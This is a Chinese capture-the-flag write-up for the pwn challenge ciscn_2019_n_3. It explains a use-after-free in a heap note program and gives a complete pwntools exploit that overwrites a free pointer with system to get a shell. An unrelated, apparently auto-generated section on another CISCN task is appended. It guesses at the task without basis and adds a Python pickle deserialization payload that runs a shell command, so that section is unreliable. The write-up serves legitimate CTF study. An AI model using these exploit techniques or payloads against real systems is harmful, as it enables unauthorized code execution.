ciscn_2019_n_3

这篇博客详细介绍了如何通过在CNote程序中利用未初始化的指针(UAF)进行堆操作,创建、删除chunk并利用它们来实现代码执行。作者展示了如何申请chunk、释放chunk以操纵内存,最终实现通过设置rec_str_free指向system@plt获取shell。关键步骤包括新chunk创建、do_del函数分析及payload构造。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_n_3

使用checksec查看:
在这里插入图片描述
开启了栈不可执行和Canary。

放进IDA中查看,看菜单像是一道堆题,运行程序看下:
在这里插入图片描述
标准的堆菜单题,IDA中仔细分析下:
在这里插入图片描述
主要流程:创建、删除、查看,先来看看创建的函数do_new()
在这里插入图片描述

  • records[v2]:存储 chunk 的地址,大小为0xc
  • *v3:存储rec_int_print 函数地址用于打印存储的值和类型。
  • *(v3 + 4):存储 free 函数地址,用于释放 chunk 。
  • *(v3 + 8):存储用户输入的值,如果值的类型为整数,则直接存在 *(v3 + 8)中,如果值的类型为字符串,则*(v3 + 8) 存的是字符串的地址。

接下来看下do_del()
在这里插入图片描述

  • 执行了records[v0] + 4所指向的函数,即rec_str_freerec_int_free
    在这里插入图片描述
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VT7tk8dl-1638501552719)(ciscn_2019_n_3.assets/image-20211021163734498.png)]
  • 均未清空指针,存在UAF。

do_dump()
在这里插入图片描述

  • 执行了records[v0]所指向的函数,即rec_str_printrec_int_print

既然存在UFA可以试着去利用下:

  • rec_str_printrec_str_free都是存放在系统创建的指针中的,那么我们先申请两个chunk
    在这里插入图片描述
  • 接着释放掉这两个chunk,两个系统创建的chunk便会进入fastbins中
    在这里插入图片描述
  • 这时候我们去申请大小为0xc的chunk,便能将两这两个chunk给申请出来,并且能修改其中一个的值
  • 若将rec_str_free的值改为system@plt就可以直接getshell

注意点:调用rec_str_free的时候,需要一个值,这个值在rec_str_free-4处(看do_del()代码),即rec_str_print所在的位置。

所以我们的payload需要写成:b'bash' + p32(system_addr)

  • 这时候释放chunk的时候就会调用system('bash')

完整exp:

from pwn import *

#start
r = process("../buu/ciscn_2019_n_3")
elf = ELF("../buu/ciscn_2019_n_3")

def new(num,tp,length,value):
    r.sendlineafter("CNote > ","1")
    r.sendlineafter("Index > ",str(num))
    r.sendlineafter("Type > ",str(tp))
    r.sendlineafter("Length > ",str(length))
    r.sendlineafter("Value > ",value)

def delete(num):
    r.sendlineafter("CNote > ","2")
    r.sendlineafter("Index > ",str(num))

def show(num):
    r.sendlineafter("CNote > ","3")
    r.sendlineafter("Index > ",str(num))

#params 
system_addr = elf.symbols['system']

#attack
new(1,2,0x30,"MMMM")
new(2,2,0x30,"MMMM")


delete(1)
delete(2)

payload = b'bash' + p32(system_addr)

new(3,2,0xc,payload)
delete(1)

r.interactive()
### 关于CISCN 2019 N8题目的解析 在全国大学生信息安全竞赛(CISCN)中,Web方向的题目通常涉及漏洞利用、文件包含、反序列化攻击等内容。对于CISCN 2019中的N8题目,其核心考点可能围绕PHP反序列化漏洞展开。 #### PHP反序列化漏洞分析 在CISCN 2019 Web1题目中提到的内容表明,该赛事的部分题目设计基于PHP对象反序列化的特性[^2]。具体到N8题目,可能存在类似的机制: - **Payload构造**:通过精心构造的对象结构触发特定逻辑路径,实现任意文件读取或其他敏感操作。 - **关键点提示**:根据已有资料,在某些情况下需要调整`Handle`类的相关属性来适配目标环境的要求[^5]。 以下是针对此类问题的一个通用解决思路及其Python脚本示例用于生成payload: ```python import pickle class Exploit(object): def __reduce__(self): import os command = 'cat /flag' # 假设我们需要执行命令获取flag return (os.system, (command,)) def serialize_exploit(): serialized_data = pickle.dumps(Exploit()) with open('exploit_payload', 'wb') as f: f.write(serialized_data) serialize_exploit() ``` 需要注意的是上述代码仅为演示如何创建一个简单的pickle反序列化攻击向量,并不适用于实际比赛场景下的PHP应用;真正的解决方案需依据具体的程序行为模式定制相应的php序列化字符串形式的数据包提交给服务器端处理以达成预期效果。 #### 文件上传与包含技巧 如果N8还涉及到文件上传功能,则可以尝试以下方法绕过检测并植入恶意脚本: - 利用MIME类型校验不足上传图片马; - 结合LFI(Local File Inclusion)缺陷访问已上载至服务器上的特制图像文件完成进一步渗透活动。 综上所述,解答这类综合性较强的CTF赛题不仅考验选手们的技术功底同时也对其创造力提出了较高要求。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值